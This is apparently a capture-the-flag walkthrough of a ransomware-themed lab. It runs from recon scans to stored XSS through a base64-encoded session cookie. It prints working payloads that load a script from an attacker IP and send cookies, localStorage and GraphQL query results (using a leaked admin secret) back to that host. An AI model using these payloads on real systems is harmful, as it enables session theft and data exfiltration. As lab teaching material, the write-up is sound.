



Walkthrough

Story

One of your clients has been hacked by the Carpe Diem cyber gang and all their important files have been encrypted. They have hired you to help them recover an important file that they need to restore their backups. They have contacted the carpe diem cybergang and paid a ransom but have not heard anything back. The countdown timer is ticking since they visited and they are now running out of time to recover their data before the keys are deleted on the server. Can you retrieve the keys and help your client restore their data before time runs out?

File available for download in room?

File: /downloads/Database.carp

Recon

nmap-scan

Only port 80 open.

```
Nmap scan report for 192.168.16.72
Host is up, received user-set (0.00094s latency).
Not shown: 65534 closed ports
Reason: 65534 resets
PORT      STATE SERVICE REASON
80/tcp    open  http   syn-ack ttl 128
Device type: general purpose
Running: Linux 2.4.X
```

```

      _____
    /   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
  /_____|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|
 | | / _ \ | ' _ | ' _ \ / _ \ | | | | | / _ \ | ' _ \ | | | | |
 | | | ( _ | | | | | ) | _ \ | | | | | _ \ | | | | | | | | | | |
 \___\___, _ | | | . _ \ ___ | ___ | | \___ | | | | | | | | | | |
      | _ |

```

Nikto

- NodeJS Express
- Cookie: countdown
- /downloads

```

-----
+ Server: nginx
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Retrieved x-powered-by header: Express
+ Cookie countdown created without the httponly flag
+ Allowed HTTP Methods: GET, HEAD
+ OSVDB-3092: /downloads/: This might be interesting...
+ 7914 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:      2020-04-15 19:46:24 (GMT2) (32 seconds)
-----
+ 1 host(s) tested

```

Gobuster

```

=====
2020/04/15 19:30:22 Starting gobuster
=====
/images (Status: 301)
/downloads (Status: 301)
/stylesheets (Status: 301)
=====
2020/04/15 19:45:43 Finished
=====

```



Carpe Diem

All your data are belong to us!

[illegible]

Your key will be deleted:

Thu Apr 16 2020 00:42:51 GMT+0000

0d 4h 49m 48s

BTC: bc1q989cy4zp8x9xpxgwp **Copy**

Proof: Your wallet **Send**



Source

Sourcecode reveals a javascript triggered by proof-button.

```
20 ***      ****$$$$$$uuu ****$***
21          uuuu ****$$$$$$uuu
22 u$$$uuu$$$$$$$$$uuu ****$$$$$$uuu$$$
23 $$$$$$$$****          ****$$$$$$$$*
24 ****$***          ****$*** </pre><h4></h4><h2>Your key will be deleted:</h2><h3>Thu Apr 16 2020 00
25 var wallet = wallet;
26 if (wallet.trim() === 'bclq989cy4zp8x9xpxgwpznsxx44u0cxhyjjyp78hj'){
27     alert('Hey! \n\nstupid is as stupid does...');
28     return;
29 }
30
31 var re = new RegExp("^[a-z0-9]{42,42}$");
32 if (re.test(wallet.trim())) {
33     var http = new XMLHttpRequest();
34     var url = 'http://c4rp3dl3m.net/proof/';
35     http.open('POST', url, true);
36     http.setRequestHeader('Content-type', 'application/json');
37     var d = '{"size":42,"proof":"' + wallet + '"}';
38     http.onreadystatechange = function() {
39         if(http.readyState == 4 && http.status == 200) {
40             //alert(http.responseText);
41         }
42     }
43     http.send(d);
44 } else {
45     alert('Invalid wallet!');
46 }
47 }
48 </script><script>function clippy() {
49 var copyText = document.getElementById("pay");
50 copyText.select();
51 copyText.setSelectionRange(0, 99999)
52 document.execCommand("copy");
53 alert("Copied: " + copyText.value);
54 }</script><script>// Set the date we're counting down to
55 var countdown = document.cookie
56 var countdown = countdown.replace(/%3A/g, ":");
57 var countdown = countdown.replace("countdown=", "");
58
```




Back to basics

Studying the main interface, reveals cookies. The countdown collects remaining life of encryption key. Is only set by the server. Not interesting.

Your key will be deleted:

Thu Apr 16 2020 14:43:27 GMT+0000

0d 3h 46m 2s

BTC:

Proof:

Debugger

Network

Style Editor

Performance

Memory

Storage

Accessibility

Filter items

Name	Value	Domain	Path	Expires / Max-Age	Size	HttpOnly	Secure	SameS
countdown	2020-04-16T06%3A43%3A27.536027	c4rp3d13m.net	/	Thu, 16 Apr 2020 07:21:1...	39	false	false	None
session	MTkyLjE2OC4xNi42NQ%3D%3D	c4rp3d13m.net	/	Thu, 16 Apr 2020 07:21:1...	31	true	false	None

But the session cookie is set AND read by the server. It is injectable.

It is reflected on a "admin-interface", accessed by a headless browser every minute.

This is the tricky part. It has to be base64 encoded and it cannot contain double quotation marks.

Inject a (base64 encoded) cookie that contains:

```
<script src='http://192.168.15.29:8000/p.js'></script>
```

Each visit by the headless browser will request and execute a p.js script hosted on the hacker machine (in this case, 192.168.15.29, listening on port 8000). As the database uses GraphQL, there are some payloads we can use to query the database. However, the results of our query is not echoed back, so we need to exfiltrate them ourselves, using XHR.



Payloads

First staged payload to do a bit recon on the "admin" browsing.

```
r=new XMLHttpRequest();
r.open("GET", "http://192.168.16.65/?q="+document.cookie);
r.send();
```

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

192.168.16.73 - - [16/Apr/2020 12:00:41] "GET /p.js HTTP/1.1" 200 -

192.168.16.73 - - [16/Apr/2020 12:01:12] "GET /?q= HTTP/1.1" 200 -

No cookies. Trying localStorage instead, gives us the first of two flags.

```
var r=new XMLHttpRequest();
r.open("GET", "http://192.168.16.65/?
q="+JSON.stringify(localStorage));
r.send();
```

192.168.16.73 - - [16/Apr/2020 12:09:45] "GET /p.js HTTP/1.1" 200 -

192.168.16.73 - - [16/Apr/2020 12:09:51] "GET /?q=%7B%22secret%22:%22s3cr3754uc35432%22,%22flag1%22:%22THM%7BSo_Far_So_Good_So_What%7D%22%7D HTTP/1.1" 200 -

THM{ **Redacted** }

The first payload to retrieve the schema information from GraphQL looks like this:

```
var a = new XMLHttpRequest();
var d = '{"query":"{__schema{types{name}}}}';
a.open("POST", "http://192.168.150.10:8080/v1/graphql/", true);
a.setRequestHeader('x-hasura-admin-secret','s3cr3754uc35432');
a.onreadystatechange=function() {
    if (this.readyState===4) {
        var b=new XMLHttpRequest();
        b.open('GET','http://192.168.15.29:8000/?
status='+this.status+'&localStorage='+btoa(JSON.stringify(localStorage))+'&data='+btoa(this.responseText),false);
        b.send();
    }
}
a.send(d);
```

The first XMLHttpRequest sends the POST to the GraphQL, with the additional header for authentication. When the results come back, the onreadystatechange function will do a GET request back to the attacker machine, and include data from localStorage and the query results as base64 encoded parameters. To complete this XSS injection, this payload needs to be base64 encoded and wrapped into the p.js file we referred to in the injected cookie.



Please note that you need to encode the base64 without linebreaks as well.

Payloads, exfiltration



Sifting through all the data received, we manage to get table and columns.

This gives us all we need to make a query

[illegible]

